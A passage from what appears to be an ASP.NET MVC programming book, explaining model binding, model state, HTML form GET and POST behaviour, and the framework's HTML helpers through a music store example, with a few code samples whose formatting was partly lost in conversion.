                                    "Name", album.GenreId);
    ViewBag.ArtistId = new SelectList(db.Artists, "ArtistId",
                                    "Name", album.ArtistId);
    return View(album);
}

```

The responsibility of this action is to accept an `Album` model object with all the user's edits inside, and save the object into the database. You might be wondering how the updated `Album` object appears as a parameter to the action. The answer to this question will come in the next section of the chapter. For now, let's focus on what is happening inside the action itself.

The Edit Happy Path

The *happy path* is the code you execute when the model is in a valid state and you can save the object in the database. An action can check the validity of a model object by checking the `ModelState.IsValid` property. I talk more about this property later in the chapter, and also in Chapter 6, where you learn how to add validation rules to a model. For now, you can think of `ModelState.IsValid` as a signal to ensure the user entered usable data for an album's attributes.

If the model is in a valid state, the `Edit` action then executes the following line of code:

```
db.Entry(album).State = EntityState.Modified;
```

This line of code is telling the data context about an object whose values already live in the database (this is not a brand new album, but an existing album), so the framework should apply the values inside to an existing album and not try to create a new album record. The next line of code invokes `SaveChanges` on the data context, and at this point the context formulates a SQL `UPDATE` command to persist the new values.

The Edit Sad Path

The *sad path* is the path the action takes if the model is invalid. In the sad path, the controller action needs to re-create the `Edit` view so the user can fix the errors he or she produced. For example, say the user enters the value abc for the album price. The string abc is not a valid decimal value, and model state will not be valid. The action rebuilds the lists for the drop-down controls and asks the `Edit` view to re-render. The user will see the page shown in Figure 4-10. Of course, we might catch this problem before the user's error reaches the server because ASP .NET MVC provides client-side validation by default, but we'll talk more about the client-side validation features in a later chapter.

You are probably wondering how the error message appears. Again, model validation is covered in depth in Chapter 6. For now, you want to understand how this `Edit` action receives an `Album` object with all of the user's new data values inside. The process behind the magic is model binding, and model binding is a central feature of ASP.NET MVC.

FIGURE 4-10

MODEL BINDING

Imagine you implemented the `Edit` action for an HTTP POST, and you didn't know about any of the ASP.NET MVC features that can make your life easy. Since you are a professional web developer, you realize the Edit view is going to post form values to the server. If you want to retrieve those values to update an album, you might choose to pull the values directly from the request:

```
[HttpPost]
public ActionResult Edit()
{
    var album = new Album();
    album.Title = Request.Form["Title"];
    album.Price = Decimal.Parse(Request.Form["Price"]);

    // ... and so on ...
}
```

As you can imagine, code like this becomes quite tedious. I've only shown the code to set two properties; you have four or five more to go. You have to pull each property value out of the `Form` collection (which contains all the posted form values, by name) and move those values into `Album` properties. Any property that is not of type string will also require a type conversion.

Fortunately, the Edit view carefully named each form input to match with an `Album` property. If you remember the HTML you looked at earlier, the input for the `Title` value had the name `Title`, and the input for the `Price` value had the name `Price`. You could modify the view to use different names (like `Foo` and `Bar`), but doing so would only make the action code more difficult to write. You'd have to remember the value for `Title` is in an input named "Foo" — how absurd!

If the input names match the property names, why can't you write a generic piece of code that pushes values around based on a naming convention? This is exactly what the model binding feature of ASP.NET MVC provides.

The DefaultModelBinder

Instead of digging form values out of the request, the `Edit` action simply takes an `Album` object as a parameter:

```
[HttpPost]
public ActionResult Edit(Album album)
{
    // ...
}
```

When you have an action with a parameter, the MVC runtime uses a model binder to build the parameter. You can have multiple model binders registered in the MVC runtime for different types of models, but the workhorse by default will be the `DefaultModelBinder`. In the case of an `Album` object, the default model binder inspects the album and finds all the album properties available for binding. Following the naming convention you examined earlier, the default model binder can

automatically convert and move values from the request into an album object (the model binder can also create an instance of the object to populate).

In other words, when the model binder sees an `Album` has a `Title` property, it looks for a value named “Title” in the request. Notice the model binder looks “in the request” and not “in the form collection.” The model binder uses components known as *value providers* to search for values in different areas of a request. The model binder can look at route data, the query string, and the form collection, and you can add custom value providers if you so desire.

Model binding isn’t restricted to HTTP POST operations and complex parameters like an `Album` object. Model binding can also feed primitive parameters into an action, like for the `Edit` action responding to an HTTP GET request:

```
public ActionResult Edit(int id)
{
    // ...
}
```

In this scenario, the model binder uses the name of the parameter (`id`) to look for values in the request. The routing engine is the component that finds the ID value in the URL `/StoreManager/Edit/8`, but it is a model binder that converts and moves the value from route data into the `id` parameter. You could also invoke this action using the URL `/StoreManager/Edit?id=8`, because the model binder will find the `id` parameter in the query string collection.

The model binder is a bit like a search and rescue dog. The runtime tells the model binder it wants a value for `id`, and the binder goes off and looks everywhere to find a parameter with the name `id`.

A WORD ON MODEL BINDING SECURITY

Sometimes the aggressive search behavior of the model binder can have unintended consequences. You’ve already seen how the default model binder looks at the available properties on an `Album` object and tries to find a matching value for each property by looking around in the request. Occasionally there is a property you don’t want (or expect) the model binder to set, and you need to be careful to avoid an “over-posting” attack. A successful over-posting attack might allow a malicious person to destroy your application and your data, so do not take this warning lightly.

You will see more detail about the over-posting attack in Chapter 7, and also be shown several techniques to avoid the problem. For now, keep this threat in mind, and be sure to read Chapter 7 later!

Explicit Model Binding

Model binding implicitly goes to work when you have an action parameter. You can also explicitly invoke model binding using the `UpdateModel` and `TryUpdateModel` methods in your controller. `UpdateModel` will throw an exception if something goes wrong during model binding and the model

is invalid. Here is what the `Edit` action might look like if you used `UpdateModel` instead of an action parameter:

```
[HttpPost]
public ActionResult Edit()
{
    var album = new Album();
    try
    {
        UpdateModel(album);
        db.Entry(album).State = EntityState.Modified;
        db.SaveChanges();
        return RedirectToAction("Index");
    }
    catch
    {
        ViewBag.GenreId = new SelectList(db.Genres, "GenreId",
                                         "Name", album.GenreId);
        ViewBag.ArtistId = new SelectList(db.Artists, "ArtistId",
                                         "Name", album.ArtistId);
        return View(album);
    }
}
```

`TryUpdateModel` also invokes model binding, but doesn't throw an exception. `TryUpdateModel` does return a `bool` — a value of `true` if model binding succeeded and the model is valid, and a value of `false` if something went wrong.

```
[HttpPost]
public ActionResult Edit()
{
    var album = new Album();
    if (TryUpdateModel(album))
    {
        db.Entry(album).State = EntityState.Modified;
        db.SaveChanges();
        return RedirectToAction("Index");
    }
    else
    {
        ViewBag.GenreId = new SelectList(db.Genres, "GenreId",
                                         "Name", album.GenreId);
        ViewBag.ArtistId = new SelectList(db.Artists, "ArtistId",
                                         "Name", album.ArtistId);
        return View(album);
    }
}
```

A byproduct of model binding is model state. For every value the model binder moves into a model, it records an entry in model state. You can check model state anytime after model binding occurs to see if model binding succeeded:

```
[HttpPost]
public ActionResult Edit()
{
```

```
var album = new Album();
TryUpdateModel(album);
if (ModelState.IsValid)
{
    db.Entry(album).State = EntityState.Modified;
    db.SaveChanges();
    return RedirectToAction("Index");
}
else
{
    ViewBag.GenreId = new SelectList(db.Genres, "GenreId",
                                    "Name", album.GenreId);
    ViewBag.ArtistId = new SelectList(db.Artists, "ArtistId",
                                    "Name", album.ArtistId);
    return View(album);
}
```

If any errors occurred during model binding, model state will contain the names of the properties that caused failures, the attempted values, and the error messages. While model state is useful for your own debugging purposes, it's primarily used to display error messages to the user indicating why their data entry failed. In the next two chapters you will see how model state allows HTML helpers and the MVC validation features to work together with model binding.

SUMMARY

In this chapter, you saw how you can build an MVC application by focusing on model objects. You can write the definitions for your models using C# code, and then scaffold out parts of the application based on a specific model type. Out of the box, all the scaffolding works with the Entity Framework, but scaffolding is extensible and customizable, so you can have scaffolding work with a variety of technologies.

You also looked at model binding and should now understand how to capture values in a request using the model binding features instead of digging around in form collections and query strings in your controller actions. I made a brief mention of the consequences of model binding *too much* data in an over-posting attack, which is further discussed in Chapter 7.

At this point, however, you've only scratched the surface of understanding how model objects can drive an application. In the coming chapters you also see how models and their associated metadata can influence the output of HTML helpers and affect validation.

Forms and HTML Helpers

Scott Allen

WHAT'S IN THIS CHAPTER?

- Understanding forms
- Making HTML helpers work for you
- Editing and inputting helpers
- Displaying and rendering helpers

HTML helpers, as their name implies, help you work with HTML. Because it seems like a simple task to type HTML elements into a text editor, you might wonder why you need any help with your HTML. Tag names are the easy part, however. The hard part of working with HTML is making sure the URLs inside of links point to the correct locations, form elements have the proper names and values for model binding, and other elements display the appropriate errors when model binding fails.

Tying all these pieces together requires more than just HTML markup. It also requires some coordination between a view and the runtime. In this chapter, you see how easy it is to establish the coordination. Before you begin working with helpers, however, you first learn about forms. Forms are where most of the hard work happens inside an application, and forms are where you need to use HTML helpers the most.

USING FORMS

You might wonder why a book targeted at professional web developers is going to spend time covering the HTML `form` tag. Isn't it easy to understand?

There are two reasons:

- **The form tag is powerful.** Without the `form` tag, the Internet would be a read-only repository of boring documentation. You wouldn't be able to search the Web, and you wouldn't be able to buy anything (even this book) over the Internet. If an evil genius stole all the `form` tags from every website tonight, civilization would crumble by lunchtime tomorrow.
- **Many developers coming to the MVC framework have been using ASP.NET WebForms.** WebForms don't expose the full power of the `form` tag (you could say WebForms manages and exploits the `form` tag for its own purposes). It's easy to excuse the WebForms developer who forgets what the `form` tag is capable of — such as creating an HTTP GET request.

The Action and the Method

A form is a container for input elements: buttons, checkboxes, text inputs, and more. It's the input elements in a form that enable a user to enter information into a page and *submit* information to a server. But which server? And how does the information get to the server? The answers to these questions are in the two most important attributes of a `form` tag: the `action` and the `method` attributes.

The `action` attribute tells a web browser *where* to send the information, so naturally the `action` contains a URL. The URL can be relative, or in cases where you want to send information to a different application or a different server, the `action` URL can also be an absolute URL. The following `form` tag will send a search term (the input named `q`) to the Bing search page from any application:

```
<form action="http://www.bing.com/search">
    <input name="q" type="text" />
    <input type="submit" value="Search!" />
</form>
```

The `form` tag in the preceding code snippet does not include a `method` attribute. The `method` attribute tells the browser whether to use an HTTP POST or HTTP GET when sending the information. You might think the default method for a form is HTTP POST. After all, you regularly POST forms to update your profile, submit a credit card purchase, and leave comments on the funny animal videos on YouTube. However, the default method value is "get," so by default a form sends an HTTP GET request:

```
<form action="http://www.bing.com/search" method="get">
    <input name="q" type="text" />
    <input type="submit" value="Search!" />
</form>
```

When a user submits a form using an HTTP GET request, the browser takes the input names and values inside the form and puts them in the query string. In other words, the preceding form would send the browser to the following URL (assuming the user is searching for love): `http://www.bing.com/search?q=love`.

To GET or to POST?

You can also give the `method` attribute the value `post`, in which case the browser does not place the input values into the query string, but places them inside the body of the HTTP request instead. Although you can successfully send a POST request to a search engine and see the search results, an HTTP GET is preferable. Unlike the POST request, you can bookmark the GET request because all the parameters are in the URL. You can use the URLs as hyperlinks in an e-mail or a web page and preserve all the form input values.

Even more importantly, the GET verb is the right tool for the job because GET represents an idempotent, read-only operation. You can send a GET request to a server repeatedly with no ill effects, because a GET does not (or should not) change state on the server.

A POST, on the other hand, is the type of request you use to submit a credit card transaction, add an album to a shopping cart, or change a password. A POST request generally modifies state on the server, and repeating the request might produce undesirable effects (such as double billing). Many browsers help a user avoid repeating a POST request. Figure 5-1 shows what happens when trying to refresh a POST request in Chrome.

FIGURE 5-1

Web applications generally use GET requests for reads and POST requests for writes (which typically include updates, creates, and deletes). A request to pay for music uses POST. A request to search for music, a scenario you look at next, uses GET.

Searching for Music with a Search Form

Imagine you want to let your Music Store shoppers search for music from the homepage of the Music Store application. Just like the search engine example from earlier, you'll need a form with an action and a method. Placing the following code just below the promotion `div` in the `Index` view of the `HomeController` gives you the form you need:

```
<form action="/Home/Search" method="get">
    <input type="text" name="q" />
    <input type="submit" value="Search" />
</form>
```

You can make various improvements to the preceding code, but for now, let's get the sample working from start to finish. The next step is to implement a `Search` method on the `HomeController`. The next code block makes the simplifying assumption that a user is always searching for music by album name:

```
public ActionResult Search(string q)
{
    var albums = storeDB.Albums
        .Include("Artist")
        .Where(a => a.Title.Contains(q))
        .Take(10);
    return View(albums);
}
```

Notice how the `Search` action expects to receive a string parameter named `q`. The MVC framework automatically finds this value in the query string, when the name `q` is present, and also finds the value in posted form values if you made your search form issue a POST instead of a GET.

The controller tells the MVC framework to render a view, and you can create a simple `Search.cshtml` view in the `Home` views folder to display the results:

```
@model IEnumerable<MvcMusicStore.Models.Album>

@{ ViewBag.Title = "Search"; }

<h2>Results</h2>

| Artist | Title | Price |
|--------|-------|-------|
|--------|-------|-------|

```

The result lets customers search for terms such as “led,” which produces the output shown in Figure 5-2.

The screenshot shows a web browser window with the title bar "Search". The address bar contains "localhost:26641/home/search?q=led". The page header includes the "ASP.NET MVC MUSIC STORE" logo and navigation links for "Home", "Store", "Cart (0)", and "Admin". On the left, there is a sidebar with genre links: Rock, Classical, Jazz, Pop, Disco, Latin, Metal, Alternative, Reggae, and Blues. The main content area is titled "Results" and displays a table of search results:

Artist	Title	Price
Dread Zeppelin	Un-Led-Ed	\$8.99
Led Zeppelin	Led Zeppelin I	\$8.99
Led Zeppelin	Led Zeppelin II	\$8.99
Led Zeppelin	Led Zeppelin III	\$8.99
Black Label Society	Alcohol Fueled Brewtality Live! [Disc 1]	\$8.99
Black Label Society	Alcohol Fueled Brewtality Live! [Disc 2]	\$8.99

At the bottom of the page, there is a footer link "built with ASP.NET MVC 4".

FIGURE 5-2

The simple search scenario you worked through demonstrates how easy it is to use HTML forms with ASP.NET MVC. The web browser collects the user input from the form and sends a request to an MVC application, where the MVC runtime can automatically pass the inputs into parameters for your action methods to respond to.

Of course, not all scenarios are as easy as the search form. In fact, you've simplified the search form to the point where it is brittle. If you deploy the application to a directory that is not the root of a website, or if your route definitions change, the hard-coded action value might lead the user's browser to a resource that does not exist. Remember, we've hard-coded `Home/Search` into the form's `action` attribute.

```
<form action="/Home/Search" method="get">
    <input type="text" name="q" />
    <input type="submit" value="Search" />
</form>
```

Searching for Music by Calculating the Action Attribute Value

A better approach would be to calculate the value of the `action` attribute, and fortunately, there is an HTML helper to do the calculation for you.

```
@using (Html.BeginForm("Search", "Home", FormMethod.Get)) {
    <input type="text" name="q" />
    <input type="submit" value="Search" />
}
```

The `BeginForm` HTML helper asks the routing engine how to reach the `Search` action of the `HomeController`. Behind the scenes it uses the method named `GetVirtualPath` on the `Routes` property exposed by `RouteTable` — that's where your web application registered all its routes in `global.asax`. If you did all this without an HTML helper, you'd have to write all the following code:

```
@{
    var context = this.ViewContext.RequestContext;
    var values = new RouteValueDictionary{
        { "controller", "home" }, { "action", "index" }
    };
    var path = RouteTable.Routes.GetVirtualPath(context, values);
}
<form action="@path.VirtualPath" method="get">
    <input type="text" name="q" />
    <input type="submit" value="Search2" />
</form>
```

The last example demonstrates the essence of HTML helpers. They are not taking away your control, but they are saving you from writing lots of code.

HTML HELPERS

HTML helpers are methods you can invoke on the `Html` property of a view. You also have access to URL helpers (via the `Url` property), and AJAX helpers (via the `Ajax` property). All these helpers have the same goal: to make views easy to author. The URL helper is also available from within the controller.

Most of the helpers, particularly the HTML helpers, output HTML markup. For example, the `BeginForm` helper you saw earlier is a helper you can use to build a robust `form` tag for your search form, but without using lines and lines of code:

```
@using (Html.BeginForm("Search", "Home", FormMethod.Get)) {  
    <input type="text" name="q" />  
    <input type="submit" value="Search" />  
}
```

Chances are the `BeginForm` helper will output the same markup you had previously when you first implemented the search form. However, behind the scenes the helper is coordinating with the routing engine to generate a proper URL, so the code is more resilient to changes in the application deployment location.

Note the `BeginForm` helper outputs both the opening `<form>` and the closing `</form>`. The helper emits the opening tag during the call to `BeginForm`, and the call returns an object implementing `IDisposable`. When execution reaches the closing curly brace of the `using` statement in the view, the helper emits the closing tag, thanks to the implicit call to `Dispose`. The `using` trick makes the code simpler and elegant. For those who find it completely distasteful, you can also use the following approach, which provides a bit of symmetry:

```
@{Html.BeginForm("Search", "Home", FormMethod.Get);}  
    <input type="text" name="q" />  
    <input type="submit" value="Search" />  
@{Html.EndForm();}
```

At first glance it might seem the helpers like `BeginForm` are taking the developer away from *the metal* — the low-level HTML many developers want to control. Once you start working with the helpers, you'll realize they keep you *close to metal* while remaining productive. You still have complete control over the HTML without writing lines and lines of code to worry about small details. Helpers do more than just churn out angle brackets. Helpers also correctly encode attributes, build proper URLs to the right resources, and set the names of input elements to simplify model binding. Helpers are your friends!

Automatic Encoding

Like any good friend, an HTML helper can keep you out of trouble. Many of the HTML helpers you will see in this chapter are helpers you use to output model values. All the helpers that output model values will HTML encode the values before rendering. For example, later you'll see the `TextArea` helper, which you can use to output an HTML `textarea` element.

```
@Html.TextArea("text", "hello <br/> world")
```

The second parameter to the `TextArea` helper is the value to render. The previous example embeds some HTML into the value, but the `TextArea` helper produces the following markup:

```
<textarea cols="20" id="text" name="text" rows="2">
    hello &lt;br /&gt; world
</textarea>
```

Notice how the output value is HTML encoded. Encoding by default helps you to avoid cross site scripting attacks (XSS). You'll learn more details about XSS in Chapter 7.

Making Helpers Do Your Bidding

While protecting you, helpers can also give you the level of control you need. As an example of what you can achieve with helpers, look at another overloaded version of the `BeginForm` helper:

```
@using (Html.BeginForm("Search", "Home", FormMethod.Get,
    new { target = "_blank" }))
{
    <input type="text" name="q" />
    <input type="submit" value="Search" />
}
```

In this code, you are passing an anonymously typed object to the `htmlAttributes` parameter of `BeginForm`. Nearly every HTML helper in the MVC framework includes an `htmlAttributes` parameter in one of its overloaded methods. You'll also find an `htmlAttributes` parameter of type `IDictionary<string, object>` in a different overload. The helpers take the dictionary entries (or, in the case of the object parameter, the property names and property values of an object) and use them to create attributes on the element the helper produces. For example, the preceding code produces the following opening `form` tag:

```
<form action="/Home/Search" method="get" target="_blank">
```

You can see you've set `target="_blank"` using the `htmlAttributes` parameter. You can set as many attribute values using the `htmlAttributes` parameter as necessary. There are a few attributes you might find problematic at first. For example, setting the `class` attribute of an element requires you to have a property named `class` on the anonymously typed object, or as a key in the dictionary of values. Having a key value of "class" in the dictionary is not a problem, but it is problematic for an object, because `class` is a reserved keyword in C# and is not available to use as a property name or identifier, so you must prefix the word with an @ sign:

```
@using (Html.BeginForm("Search", "Home", FormMethod.Get,
    new { target = "_blank", @class="editForm" }))
```

Another problem is setting attributes with a dash in the name (like `data-val`). You'll see dashed attribute names in Chapter 8 when you look at AJAX features of the framework. Dashes are not valid in C# property names, but all HTML helpers convert an underscore in a property name to a dash when rendering the HTML. The following view code:

```
@using (Html.BeginForm("Search", "Home", FormMethod.Get,
    new { target = "_blank", @class="editForm", data_validatable=true }))
```

produces the following HTML:

```
<form action="/Home/Search" class="editForm" data-validatable="true"
    method="get" target="_blank">
```

In the next section, you take a look at how the helpers work and see some of the other built-in helpers.

Inside HTML Helpers

Every Razor view inherits an `Html` property from its base class. The `Html` property is of type `System.Web.Mvc.HtmlHelper<T>`, where `T` is a generic type parameter representing the type of the model for the view (dynamic by default). The class provides a few instance methods you can invoke in a view, such as `EnableClientValidation` (to selectively turn client validation on or off on a view-by-view basis). However, the `BeginForm` method you used in the previous section is not one of the methods you'll find defined on the class. Instead, the framework defines the majority of the helpers as extension methods.

You know you are working with an extension method when the IntelliSense window shows the method name with a down arrow to the left (see Figure 5-3).

`AntiForgeryToken` is an instance method, whereas `BeginForm` is an extension method.

Extension methods are a wonderful approach to building HTML helpers for two reasons. First, extension methods in C# are available only when the namespace of the extension method is in scope. All of MVC's extension methods for `HtmlHelper` live in the `System.Web.Mvc.Html` namespace (which is in scope by default thanks to a namespace entry in the `Views/web.config` file). If you don't like the built-in extension methods, you can remove this namespace and build your own.

The phrase "build your own" brings us to the second benefit of having helpers as extension methods. You can build your own extension methods to replace or augment the built-in helpers. You can learn how to build a custom helper in Chapter 14. For now, we will look at the helpers provided out of the box.

FIGURE 5-3

Setting Up the Album Edit Form

If you need to build a view that will let a user edit album information, you might start with the following view code:

```
@using (Html.BeginForm()) {
    @Html.ValidationSummary(excludePropertyErrors: true)
    <fieldset>
        <legend>Edit Album</legend>

        <p>
            <input type="submit" value="Save" />
        </p>
    </fieldset>
}
```

The two helpers in this code have some additional descriptions in the following sections.

Html.BeginForm

You've used the `BeginForm` helper previously. The version of `BeginForm` in the preceding code, with no parameters, sends an HTTP POST to the current URL, so if the view is a response to `/StoreManager/Edit/52`, the opening form tag will look like the following:

```
<form action="/StoreManager/Edit/52" method="post">
```

POST is the ideal verb for this scenario because you are modifying album information on the server.

Html.ValidationSummary

The ValidationSummary helper displays an unordered list of all validation errors in the ModelState dictionary. The Boolean parameter you are using (with a value of true) is telling the helper to exclude property-level errors. In other words, you are telling the summary to display only the errors in ModelState associated with the model itself, and exclude any errors associated with a specific model property. We will be displaying property-level errors separately.

Assume you have the following code somewhere in the controller action rendering the edit view:

```
ModelState.AddModelError("", "This is all wrong!");
ModelState.AddModelError("Title", "What a terrible name!");
```

The first error is a model-level error, because you didn't provide a key (or provided an empty key) to associate the error with a specific property. The second error you associated with the Title property, so in your view it will not display in the validation summary area (unless you remove the parameter to the helper method, or change the value to false). In this scenario, the helper renders the following HTML:

```
<div class="validation-summary-errors">
    <ul>
        <li>This is all wrong!</li>
    </ul>
</div>
```

Other overloads of the ValidationSummary helper enable you to provide header text and set specific HTML attributes.

NOTE By convention, the ValidationSummary helper renders the CSS class validation-summary-errors along with any specific CSS classes you provide. The default MVC project template includes some styling to display these items in red, which you can change in styles.css.

Adding Inputs

Once you have the form and validation summary in place, you can add some inputs for the user to enter album information into the view. One approach would use the following code (you'll start by editing only the album title and genre, but the following code will work with the real version of the Music Store's Edit action):

```
@using (Html.BeginForm())
{
    @Html.ValidationSummary(excludePropertyErrors: true)
    <fieldset>
        <legend>Edit Album</legend>
        <p>
            @Html.Label("GenreId")
            @Html.DropDownList("GenreId", ViewBag.Genres as SelectList)
        </p>
}
```

```

<p>
    @Html.Label("Title")
    @Html.TextBox("Title", Model.Title)
    @Html.ValidationMessage("Title")
</p>
<input type="submit" value="Save" />
</fieldset>
}

```

The new helpers will give the user the display shown in Figure 5-4.

FIGURE 5-4

The following new helpers are in the view:

- Label
- DropDownList
- TextBox
- ValidationMessage
- TextArea
- ListBox

I'll talk about the `TextBox` helper first.

Html.TextBox and Html.TextArea

The `TextBox` helper renders an `input` tag with the `type` attribute set to `text`. You commonly use the `TextBox` helper to accept free-form input from a user. For example, the call to:

```
@Html.TextBox("Title", Model.Title)
```

results in:

```
<input id="Title" name="Title" type="text"
      value="For Those About To Rock We Salute You" />
```

Just like nearly every other HTML helper, the `TextBox` helper provides overloads to let you set individual HTML attributes (as demonstrated earlier in the chapter). A close cousin to the `TextBox` helper is the `TextArea` helper. Use `TextArea` to render a `<textarea>` element for multi-line text entry. The following code:

```
@Html.TextArea("text", "hello <br/> world")
```

produces:

```
<textarea cols="20" id="text" name="text" rows="2">hello &lt;br /&gt; world
</textarea>
```

Notice again how the helper encodes the value into the output (all helpers encode the model values and attribute values). Other overloads of the `TextArea` helper enable you to specify the number of columns and rows to display in order to control the size of the text area.

```
@Html.TextArea("text", "hello <br /> world", 10, 80, null)
```

The preceding code produces the following output:

```
<textarea cols="80" id="text" name="text" rows="10">hello &lt;br /&gt; world
</textarea>
```

Html.Label

The `Label` helper returns a `<label/>` element using the string parameter to determine the rendered text and `for` attribute value. A different overload of the helper enables you to independently set the `for` attribute and the text. In the preceding code, the call to `Html.Label("GenreId")` produces the following HTML:

```
<label for="GenreId">Genre</label>
```

If you haven't used the `label` element before, then you are probably wondering if the element has any value. The purpose of a `label` is to attach information to other input elements, such as text inputs, and boost the accessibility of your application. The `for` attribute of the `label` should contain the ID of the associated input element (in this example, the drop-down list of genres that follows in the HTML). Screen readers can use the text of the label to provide a better description of the input for a user. Also, if a user clicks the label, the browser will transfer focus to the associated input control. This is especially useful with checkboxes and radio buttons in order to provide the user with a larger area to click on (instead of being able to click only on the checkbox or radio button itself).

The attentive reader will also notice that the text of the label did not appear as "GenreId" (the string you passed to the helper), but as "Genre." When possible, helpers use any available model metadata in building a display. We'll return to this topic once you've looked at the rest of the helpers in the form.

Html.DropDownList and Html.ListBox

Both the `DropDownList` and `ListBox` helpers return a `<select />` element. `DropDownList` allows single item selection, whereas `ListBox` allows for multiple item selection (by setting the `multiple` attribute to `multiple` in the rendered markup).

Typically, a `select` element serves two purposes:

- To show a list of possible options
- To show the current value for a field

In the Music Store, you have an `Album` class with a `GenreId` property. You are using the `select` element to display the value of the `GenreId` property, as well as all other possible categories.

There is a bit of setup work to do in the controller when using these helpers because they require some specific information. A list needs a collection of `SelectListItem` instances representing all the possible entries for the list. A `SelectListItem` object has `Text`, `Value`, and `Selected` properties. You can build the collection of `SelectListItem` objects yourself, or rely on the `SelectList` or `MultiSelectList` helper classes in the framework. These classes can look at an `IEnumerable` of any type and transform the sequence into a sequence of `SelectListItem` objects. Take, for example, the `Edit` action of the `StoreManager` controller:

```
public ActionResult Edit(int id)
{
    var album = storeDB.Albums.Single(a => a.AlbumId == id);

    ViewBag.Genres = new SelectList(storeDB.Genres.OrderBy(g => g.Name),
                                    "GenreId", "Name", album.GenreId);

    return View(album);
}
```

You can think of the controller action as building not only the primary model (the album for editing), but also the presentation model required by the drop-down list helper. The parameters to the `SelectList` constructor specify the original collection (`Genres` from the database), the name of the property to use as a value (`GenreId`), the name of the property to use as the text (`Name`), and the value of the currently selected item (to determine which item to mark as selected).

If you want to avoid some reflection overhead and generate the `SelectListItem` collection yourself, you can use the LINQ `Select` method to project `Genres` into `SelectListItem` objects:

```
public ActionResult Edit(int id)
{
    var album = storeDB.Albums.Single(a => a.AlbumId == id);

    ViewBag.Genres =
        storeDB.Genres
            .OrderBy(g => g.Name)
            .AsEnumerable()
            .Select(g => new SelectListItem
            {
                Text = g.Name,
                Value = g.GenreId.ToString(),
                Selected = album.GenreId == g.GenreId
            });
    return View(album);
}
```

Html.ValidationMessage

When there is an error for a particular field in the `ModelState` dictionary, you can use the `ValidationMessage` helper to display that message. For example, in the following controller action, you purposely add an error to model state for the `Title` property:

```
[HttpPost]
public ActionResult Edit(int id, FormCollection collection)
{
    var album = storeDB.Albums.Find(id);

    ModelState.AddModelError("Title", "What a terrible name!");

    return View(album);
}
```

In the view, you can display the error message (if any) with the following code:

```
@Html.ValidationMessage("Title")
```

which results in:

```
<span class="field-validation-error" data-valmsg-for="Title"
      data-valmsg-replace="true">
    What a terrible name!
</span>
```

This message appears only if there is an error in the model state for the key `Title`. You can also call an override that allows you to override the error message from within the view:

```
@Html.ValidationMessage("Title", "Something is wrong with your title")
```

which results in:

```
<span class="field-validation-error" data-valmsg-for="Title"
      data-valmsg-replace="false">Something is wrong with your title
```

NOTE By convention, this helper renders the CSS class `field-validation-error` (when there is an error), along with any specific CSS classes you provide. The default MVC project template includes some styling to display these items in red, which you can change in `style.css`.

In addition to the common features described so far, such as HTML encoding and the ability to set HTML attributes, all the form input features share some common behavior when it comes to working with model values and model state.

Helpers, Models, and View Data

Helpers give you the fine-grained control you need over your HTML while taking away the grunge work of building a UI to show the proper controls, labels, error messages, and values. Helpers such as `Html.TextBox` and `Html.DropDownList` (as well as all the other form helpers) check the

`ViewData` object to obtain the current value for display (all values in the `ViewBag` object are also available through `ViewData`).

Let's take a break from the edit form you are building and look at a simple example. If you want to set the price of an album in a form, you could use the following controller code:

```
public ActionResult Edit(int id)
{
    ViewBag.Price = 10.0;
    return View();
}
```

In the view you can render a textbox to display the price by giving the `TextBox` helper the same name as the value in the `ViewBag`:

```
@Html.TextBox("Price")
```

The `TextBox` helper will then emit the following HTML:

```
<input id="Price" name="Price" type="text" value="10" />
```

When the helpers look inside `ViewData`, they can also look at properties of objects inside `ViewData`. Change the previous controller action to look like the following:

```
public ActionResult Edit(int id)
{
    ViewBag.Album = new Album {Price = 11};
    return View();
}
```

You can use the following code to display a textbox with the album's price:

```
@Html.TextBox("Album.Price")
```

Now the resulting HTML looks like the following code:

```
<input id="Album_Price" name="Album.Price" type="text" value="11" />
```

If no values match `Album.Price` in `ViewData`, the helper attempts to look up a value for the portion of the name before the first dot, (`Album`), and in this case finds an object of type `Album`. The helper then evaluates the remaining portion of the name (`Price`) against the `Album` object, and finds the value to use.

Notice that the `id` attribute of the resulting `input` element uses an underscore instead of a dot (while the `name` attribute uses the dot). Dots are not legal inside an `id` attribute, so the runtime replaces dots with the value of the static `HtmlHelper.IdAttributeDotReplacement` property. Without valid `id` attributes, it is not possible to perform client-side scripting with JavaScript libraries such as jQuery.

The `TextBox` helper also works well against strongly typed view data. For example, change the controller action to look like the following code:

```
public ActionResult Edit(int id)
{
    var album = new Album {Price = 12.0m};
    return View(album);
}
```

Now you can return to supplying the `TextBox` helper with the name of the property for display:

```
@Html.TextBox("Price");
```

For the preceding code, the helper now renders the following HTML:

```
<input id="Price" name="Price" type="text" value="12.0" />
```

Form helpers also enable you to supply an explicit value to avoid the automatic data lookup, if you want. Sometimes the explicit approach is necessary. Return to the form you are building to edit album information. Remember, the controller action looks like the following:

```
public ActionResult Edit(int id)
{
    var album = storeDB.Albums.Single(a => a.AlbumId == id);

    ViewBag.Genres = new SelectList(storeDB.Genres.OrderBy(g => g.Name),
                                    "GenreId", "Name", album.GenreId);

    return View(album);
}
```

Inside the edit view, which is strongly typed to an `Album`, you have the following code to render an input for the album title:

```
@Html.TextBox("Title", Model.Title)
```

The second parameter provides the data value explicitly. Why? Well, in this case, `Title` is a value already in `ViewData`, because the Music Store's album edit view, like many views, places the page title into the `ViewBag.Title` property. You can see this happen at the top of the `Edit` view:

```
@{
    ViewBag.Title = "Edit - " + Model.Title;
}
```

The `_Layout.cshtml` view for the application can retrieve `ViewBag.Title` to set the title of the rendered page. If you invoked the `TextBox` helper passing only the string `Title`, it would first look in the `ViewBag` and pull out the `Title` value inside (the helpers look inside the `ViewBag` before they check the strongly typed model). To display the proper title, you need to provide the explicit value in this case. This is an important yet subtle lesson. In a large application you could consider adding a prefix to some of the view data entries to make it clearer where they are used. For example, instead of `ViewBag.Title` for the main page title, a name such as `ViewBag.Page_Title` would be less likely to conflict with page-specific data.

Strongly Typed Helpers

If you are uncomfortable using string literals to pull values from view data, ASP.NET MVC also provides an assortment of strongly typed helpers. With the strongly typed helpers you pass a lambda expression to specify a model property for rendering. The model type for the expression will be the same as the model specified for the view (with the `@model` directive). To strongly type a view against the `Album` model, you'd need the following line of code at the top of the view:

```
@model MvcMusicStore.Models.Album
```

Once the model directive is in place, you can rewrite the album edit form you've been working on so far with the following code:

```
@using (Html.BeginForm())
{
    @Html.ValidationSummary(excludePropertyErrors: true)
    <fieldset>
        <legend>Edit Album</legend>
        <p>
            @Html.LabelFor(m => m.GenreId)
            @Html.DropDownListFor(m => m.GenreId, ViewBag.Genres as SelectList)
        </p>
        <p>
